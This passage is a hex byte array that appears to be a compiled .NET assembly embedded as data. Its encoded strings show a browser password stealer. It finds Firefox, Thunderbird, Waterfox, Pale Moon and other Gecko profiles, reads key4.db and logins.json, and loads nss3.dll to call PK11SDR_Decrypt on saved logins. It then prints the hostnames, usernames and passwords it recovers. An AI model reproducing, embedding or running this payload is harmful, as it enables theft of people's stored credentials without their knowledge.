0x00, 0x6E, 0x00, 0x73, 0x00, 0x22, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x5B, 0x00, 0x00, 0x43, 0x2C, 0x00, 0x22, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x79, 0x00, 0x56, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x73, 0x00, 0x22, 0x00, 0x00, 0x05, 0x7D, 0x00, 0x2C, 0x00, 0x00, 0x2D, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x21, 0x00, 0x00, 0x11, 0x68, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x23, 0x65, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x23, 0x65, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x00, 0x19, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x00, 0x0F, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x0F, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x34, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x11, 0x63, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x39, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x67, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x13, 0x5C, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x73, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x11, 0x4E, 0x00, 0x53, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x74, 0x00, 0x00, 0x1F, 0x50, 0x00, 0x4B, 0x00, 0x31, 0x00, 0x31, 0x00, 0x53, 0x00, 0x44, 0x00, 0x52, 0x00, 0x5F, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x00, 0x19, 0x4E, 0x00, 0x53, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x53, 0x00, 0x68, 0x00, 0x75, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6E, 0x00, 0x00, 0x27, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x53, 0x00, 0x53, 0x00, 0x0A, 0x00, 0x00, 0x03, 0x22, 0x00, 0x00, 0x17, 0x22, 0x00, 0x3A, 0x00, 0x22, 0x00, 0x28, 0x00, 0x5B, 0x00, 0x5E, 0x00, 0x22, 0x00, 0x5D, 0x00, 0x2B, 0x00, 0x29, 0x00, 0x22, 0x00, 0x00, 0x01, 0x00, 0x2D, 0x50, 0x00, 0x52, 0x00, 0x4F, 0x00, 0x43, 0x00, 0x45, 0x00, 0x53, 0x00, 0x53, 0x00, 0x4F, 0x00, 0x52, 0x00, 0x5F, 0x00, 0x41, 0x00, 0x52, 0x00, 0x43, 0x00, 0x48, 0x00, 0x49, 0x00, 0x54, 0x00, 0x45, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00, 0x33, 0x00, 0x32, 0x00, 0x00, 0x23, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x28, 0x00, 0x78, 0x00, 0x38, 0x00, 0x36, 0x00, 0x29, 0x00, 0x00, 0x19, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x03, 0x78, 0x00, 0x00, 0x03, 0x79, 0x00, 0x00, 0x11, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x6A, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x11, 0x5C, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x34, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x1D, 0x5C, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x71, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x2F, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x0A, 0x00, 0x00, 0x1F, 0x4D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x72, 0x00, 0x65, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x78, 0x00, 0x00, 0x11, 0x57, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x78, 0x00, 0x00, 0x11, 0x4B, 0x00, 0x2D, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x01, 0x17, 0x54, 0x00, 0x68, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x72, 0x00, 0x64, 0x00, 0x00, 0x21, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x49, 0x00, 0x63, 0x00, 0x65, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2B, 0x38, 0x00, 0x70, 0x00, 0x65, 0x00, 0x63, 0x00, 0x78, 0x00, 0x73, 0x00, 0x74, 0x00, 0x75, 0x00, 0x64, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x79, 0x00, 0x62, 0x00, 0x65, 0x00, 0x72, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x78, 0x00, 0x00, 0x3B, 0x4E, 0x00, 0x45, 0x00, 0x54, 0x00, 0x47, 0x00, 0x41, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x63, 0x00, 0x68, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x63, 0x00, 0x6B, 0x00, 0x48, 0x00, 0x61, 0x00, 0x77, 0x00, 0x00, 0x3F, 0x4D, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x68, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x03, 0x28, 0x00, 0x00, 0x0D, 0x55, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x51, 0x00, 0x55, 0x00, 0x45, 0x00, 0x00, 0x0D, 0x2E, 0x00, 0x74, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x57, 0x48, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x32, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x00, 0x41, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x09, 0x00, 0x54, 0x00, 0x52, 0x00, 0x55, 0x00, 0x45, 0x00, 0x09, 0x00, 0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x09, 0x00, 0x46, 0x00, 0x41, 0x00, 0x4C, 0x00, 0x53, 0x00, 0x45, 0x00, 0x09, 0x00, 0x7B, 0x00, 0x32, 0x00, 0x7D, 0x00, 0x09, 0x00, 0x7B, 0x00, 0x33, 0x00, 0x7D, 0x00, 0x09, 0x00, 0x7B, 0x00, 0x34, 0x00, 0x7D, 0x00, 0x0D, 0x00, 0x0A, 0x00, 0x00, 0x2D, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x20, 0x00, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x28, 0x00, 0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x29, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x32, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x00, 0x25, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x20, 0x00, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x28, 0x00, 0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x00, 0x19, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x20, 0x00, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x01, 0x5A, 0x66, 0x5D, 0xF4, 0x65, 0x6F, 0x4E, 0xBF, 0xA1, 0x91, 0xC2, 0xE0, 0x98, 0xF3, 0xC7, 0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20, 0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x02, 0x05, 0x20, 0x01, 0x01, 0x11, 0x55, 0x05, 0x20, 0x01, 0x01, 0x11, 0x5D, 0x19, 0x07, 0x0B, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x0E, 0x0E, 0x12, 0x30, 0x02, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x02, 0x08, 0x11, 0x4C, 0x02, 0x02, 0x06, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x0E, 0x04, 0x20, 0x01, 0x02, 0x0E, 0x05, 0x00, 0x02, 0x02, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x18, 0x07, 0x0A, 0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x0E, 0x0E, 0x12, 0x30, 0x02, 0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x02, 0x08, 0x11, 0x44, 0x02, 0x06, 0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x19, 0x07, 0x0B, 0x15, 0x12, 0x45, 0x01, 0x11, 0x48, 0x0E, 0x0E, 0x12, 0x30, 0x02, 0x15, 0x12, 0x45, 0x01, 0x11, 0x48, 0x02, 0x08, 0x11, 0x48, 0x02, 0x02, 0x06, 0x15, 0x12, 0x45, 0x01, 0x11, 0x48, 0x04, 0x00, 0x01, 0x08, 0x0E, 0x0E, 0x07, 0x0A, 0x0E, 0x0E, 0x02, 0x1D, 0x0E, 0x08, 0x0E, 0x0E, 0x02, 0x12, 0x49, 0x0E, 0x03, 0x20, 0x00, 0x0E, 0x04, 0x00, 0x01, 0x02, 0x0E, 0x06, 0x00, 0x01, 0x12, 0x80, 0x89, 0x0E, 0x04, 0x00, 0x01, 0x0E, 0x0E, 0x05, 0x00, 0x02, 0x01, 0x0E, 0x0E, 0x04, 0x00, 0x01, 0x01, 0x0E, 0x28, 0x07, 0x17, 0x15, 0x12, 0x45, 0x01, 0x11, 0x40, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x12, 0x28, 0x1D, 0x0E, 0x02, 0x15, 0x12, 0x45, 0x01, 0x11, 0x40, 0x02, 0x02, 0x02, 0x02, 0x1D, 0x0E, 0x08, 0x0E, 0x11, 0x40, 0x12, 0x28, 0x0E, 0x0E, 0x0E, 0x02, 0x06, 0x15, 0x12, 0x45, 0x01, 0x11, 0x40, 0x05, 0x00, 0x02, 0x01, 0x0E, 0x02, 0x06, 0x00, 0x01, 0x0E, 0x11, 0x80, 0xA1, 0x08, 0x07, 0x05, 0x18, 0x18, 0x18, 0x02, 0x12, 0x49, 0x08, 0x00, 0x01, 0x12, 0x80, 0xA5, 0x11, 0x80, 0xA9, 0x09, 0x00, 0x02, 0x12, 0x80, 0xB1, 0x18, 0x12, 0x80, 0xA5, 0x06, 0x00, 0x01, 0x11, 0x80, 0xB9, 0x0E, 0x03, 0x07, 0x01, 0x02, 0x11, 0x07, 0x0A, 0x18, 0x1D, 0x05, 0x11, 0x50, 0x11, 0x50, 0x02, 0x02, 0x1D, 0x05, 0x0E, 0x12, 0x49, 0x02, 0x02, 0x06, 0x18, 0x05, 0x00, 0x01, 0x1D, 0x05, 0x0E, 0x04, 0x00, 0x01, 0x18, 0x08, 0x08, 0x00, 0x04, 0x01, 0x1D, 0x05, 0x08, 0x18, 0x08, 0x08, 0x00, 0x04, 0x01, 0x18, 0x1D, 0x05, 0x08, 0x08, 0x05, 0x00, 0x00, 0x12, 0x80, 0xC5, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x05, 0x04, 0x00, 0x01, 0x01, 0x1C, 0x05, 0x00, 0x02, 0x02, 0x18, 0x18, 0x04, 0x00, 0x01, 0x01, 0x18, 0x05, 0x07, 0x02, 0x1D, 0x05, 0x0E, 0x05, 0x20, 0x01, 0x1D, 0x05, 0x0E, 0x09, 0x07, 0x05, 0x0E, 0x12, 0x71, 0x12, 0x75, 0x02, 0x0E, 0x02, 0x06, 0x0E, 0x06, 0x00, 0x03, 0x0E, 0x0E, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x12, 0x75, 0x0E, 0x03, 0x20, 0x00, 0x02, 0x06, 0x00, 0x02, 0x1D, 0x0E, 0x0E, 0x0E, 0x06, 0x07, 0x03, 0x1D, 0x0E, 0x08, 0x0E, 0x05, 0x20, 0x02, 0x0E, 0x0E, 0x0E, 0x04, 0x07, 0x01, 0x1D, 0x0E, 0x04, 0x07, 0x02, 0x02, 0x0E, 0x03, 0x00, 0x00, 0x08, 0x07, 0x07, 0x04, 0x08, 0x02, 0x02, 0x1D, 0x0E, 0x09, 0x10, 0x01, 0x02, 0x01, 0x10, 0x1D, 0x1E, 0x00, 0x08, 0x03, 0x0A, 0x01, 0x0E, 0x0C, 0x00, 0x05, 0x01, 0x12, 0x80, 0xD5, 0x08, 0x12, 0x80, 0xD5, 0x08, 0x08, 0x07, 0x07, 0x03, 0x1D, 0x0E, 0x02, 0x1D, 0x0E, 0x05, 0x00, 0x01, 0x1D, 0x0E, 0x0E, 0x0C, 0x07, 0x08, 0x0E, 0x02, 0x1D, 0x0E, 0x08, 0x0E, 0x02, 0x0E, 0x12, 0x49, 0x08, 0x07, 0x05, 0x1D, 0x0E, 0x08, 0x0E, 0x02, 0x0E, 0x0F, 0x07, 0x07, 0x15, 0x12, 0x45, 0x01, 0x0E, 0x1D, 0x0E, 0x08, 0x0E, 0x0E, 0x02, 0x1D, 0x0E, 0x05, 0x15, 0x12, 0x45, 0x01, 0x0E, 0x05, 0x20, 0x00, 0x1D, 0x13, 0x00, 0x09, 0x00, 0x02, 0x01, 0x12, 0x80, 0xD5, 0x11, 0x80, 0xDD, 0x03, 0x07, 0x01, 0x08, 0x26, 0x07, 0x22, 0x02, 0x09, 0x08, 0x02, 0x09, 0x0B, 0x08, 0x08, 0x0B, 0x08, 0x08, 0x0A, 0x1D, 0x11, 0x60, 0x0A, 0x08, 0x02, 0x08, 0x02, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x09, 0x09, 0x09, 0x02, 0x02, 0x04, 0x0A, 0x01, 0x11, 0x64, 0x04, 0x0A, 0x01, 0x11, 0x60, 0x07, 0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x04, 0x00, 0x01, 0x0E, 0x0B, 0x22, 0x07, 0x1F, 0x09, 0x0B, 0x08, 0x05, 0x05, 0x08, 0x09, 0x02, 0x02, 0x02, 0x0B, 0x0B, 0x08, 0x08, 0x0B, 0x08, 0x08, 0x0A, 0x1D, 0x0A, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x04, 0x0A, 0x01, 0x11, 0x68, 0x0F, 0x07, 0x0C, 0x08, 0x1D, 0x0E, 0x08, 0x02, 0x02, 0x02, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02, 0x08, 0x00, 0x03, 0x08, 0x0E, 0x0E, 0x11, 0x80, 0xE5, 0x07, 0x20, 0x02, 0x08, 0x0E, 0x11, 0x80, 0xE5, 0x04, 0x20, 0x01, 0x0E, 0x08, 0x06, 0x20, 0x01, 0x1D, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x03, 0x04, 0x20, 0x01, 0x08, 0x03, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x08, 0x07, 0x07, 0x05, 0x0B, 0x02, 0x0B, 0x08, 0x02, 0x08, 0x07, 0x06, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02, 0x12, 0x07, 0x0F, 0x1D, 0x05, 0x08, 0x02, 0x08, 0x08, 0x08, 0x08, 0x02, 0x0A, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x06, 0x00, 0x02, 0x0A, 0x1D, 0x05, 0x08, 0x09, 0x07, 0x05, 0x0E, 0x12, 0x30, 0x02, 0x12, 0x30, 0x02, 0x03, 0x00, 0x00, 0x0E, 0x03, 0x07, 0x01, 0x0E, 0x07, 0x00, 0x04, 0x0E, 0x0E, 0x1C, 0x1C, 0x1C, 0x06, 0x00, 0x02, 0x0E, 0x0E, 0x1D, 0x1C, 0x06, 0x00, 0x03, 0x0E, 0x0E, 0x1C, 0x1C, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x1C, 0x1C, 0x07, 0x08, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x1D, 0x0E, 0x08, 0x0E, 0x15, 0x11, 0x79, 0x01, 0x11, 0x40, 0x11, 0x40, 0x1D, 0x1C, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x08, 0x20, 0x00, 0x15, 0x11, 0x79, 0x01, 0x13, 0x00, 0x06, 0x15, 0x11, 0x79, 0x01, 0x11, 0x40, 0x04, 0x20, 0x00, 0x13, 0x00, 0x08, 0xB7, 0x7A, 0x5C, 0x56, 0x19, 0x34, 0xE0, 0x89, 0x04, 0x7D, 0x00, 0x2C, 0x00, 0x01, 0x02, 0x03, 0x06, 0x1D, 0x0E, 0x03, 0x06, 0x12, 0x54, 0x03, 0x06, 0x12, 0x5C, 0x03, 0x06, 0x12, 0x58, 0x03, 0x06, 0x1D, 0x05, 0x02, 0x06, 0x0B, 0x04, 0x06, 0x1D, 0x11, 0x68, 0x04, 0x06, 0x1D, 0x11, 0x64, 0x03, 0x06, 0x11, 0x6C, 0x02, 0x06, 0x08, 0x02, 0x06, 0x0A, 0x09, 0x00, 0x01, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x0E, 0x09, 0x00, 0x01, 0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x0E, 0x09, 0x00, 0x01, 0x15, 0x12, 0x45, 0x01, 0x11, 0x48, 0x0E, 0x09, 0x00, 0x01, 0x15, 0x12, 0x45, 0x01, 0x11, 0x40, 0x0E, 0x03, 0x00, 0x00, 0x01, 0x04, 0x00, 0x01, 0x18, 0x0E, 0x04, 0x00, 0x01, 0x02, 0x18, 0x05, 0x00, 0x02, 0x18, 0x18, 0x0E, 0x04, 0x20, 0x01, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x01, 0x1D, 0x0E, 0x05, 0x20, 0x01, 0x1D, 0x0E, 0x0E, 0x08, 0x00, 0x02, 0x1D, 0x0E, 0x1D, 0x0E, 0x1D, 0x0E, 0x04, 0x00, 0x00, 0x1D, 0x0E, 0x03, 0x20, 0x00, 0x08, 0x04, 0x20, 0x01, 0x02, 0x0B, 0x04, 0x20, 0x01, 0x01, 0x0A, 0x05, 0x20, 0x02, 0x0B, 0x08, 0x08, 0x04, 0x20, 0x01, 0x08, 0x08, 0x05, 0x20, 0x02, 0x0A, 0x08, 0x08, 0x04, 0x00, 0x01, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x12, 0x30, 0x0E, 0x0E, 0x05, 0x00, 0x01, 0x0E, 0x11, 0x40, 0x05, 0x00, 0x01, 0x0E, 0x11, 0x44, 0x05, 0x00, 0x01, 0x0E, 0x11, 0x48, 0x05, 0x00, 0x01, 0x0E, 0x11, 0x4C, 0x08, 0x00, 0x00, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x05, 0x20, 0x02, 0x01, 0x1C, 0x18, 0x04, 0x20, 0x01, 0x0A, 0x0E, 0x08, 0x20, 0x03, 0x12, 0x69, 0x0E, 0x12, 0x6D, 0x1C, 0x05, 0x20, 0x01, 0x0A, 0x12, 0x69, 0x03, 0x20, 0x00, 0x0A, 0x07, 0x20, 0x02, 0x12, 0x69, 0x12, 0x6D, 0x1C, 0x0A, 0x20, 0x03, 0x08, 0x10, 0x11, 0x50, 0x10, 0x11, 0x50, 0x08, 0x0E, 0x20, 0x05, 0x12, 0x69, 0x10, 0x11, 0x50, 0x10, 0x11, 0x50, 0x08, 0x12, 0x6D, 0x1C, 0x0B, 0x20, 0x03, 0x08, 0x10, 0x11, 0x50, 0x10, 0x11, 0x50, 0x12, 0x69, 0x03, 0x28, 0x00, 0x0E, 0x03, 0x28, 0x00, 0x08, 0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x01, 0x00, 0x01, 0x00, 0x54, 0x02, 0x16, 0x57, 0x72, 0x61, 0x70, 0x4E, 0x6F, 0x6E, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x6F, 0x77, 0x73, 0x01, 0x08, 0x01, 0x00, 0x07, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x01, 0x00, 0x0A, 0x50, 0x35, 0x58, 0x37, 0x41, 0x34, 0x51, 0x31, 0x53, 0x45, 0x00, 0x00, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x17, 0x01, 0x00, 0x12, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x20, 0xC2, 0xA9, 0x20, 0x20, 0x32, 0x30, 0x32, 0x30, 0x00, 0x00, 0x29, 0x01, 0x00, 0x24, 0x37, 0x62, 0x31, 0x36, 0x30, 0x36, 0x39, 0x38, 0x2D, 0x31, 0x36, 0x63, 0x65, 0x2D, 0x34, 0x34, 0x38, 0x30, 0x2D, 0x62, 0x38, 0x39, 0x37, 0x2D, 0x37, 0x31, 0x37, 0x31, 0x34, 0x32, 0x37, 0x37, 0x30, 0x32, 0x35, 0x65, 0x00, 0x00, 0x0C, 0x01, 0x00, 0x07, 0x31, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x30, 0x00, 0x00, 0x49, 0x01, 0x00, 0x1A, 0x2E, 0x4E, 0x45, 0x54, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x2C, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x76, 0x34, 0x2E, 0x35, 0x01, 0x00, 0x54, 0x0E, 0x14, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x4E, 0x61, 0x6D, 0x65, 0x12, 0x2E, 0x4E, 0x45, 0x54, 0x20, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x34, 0x2E, 0x35, 0x04, 0x01, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 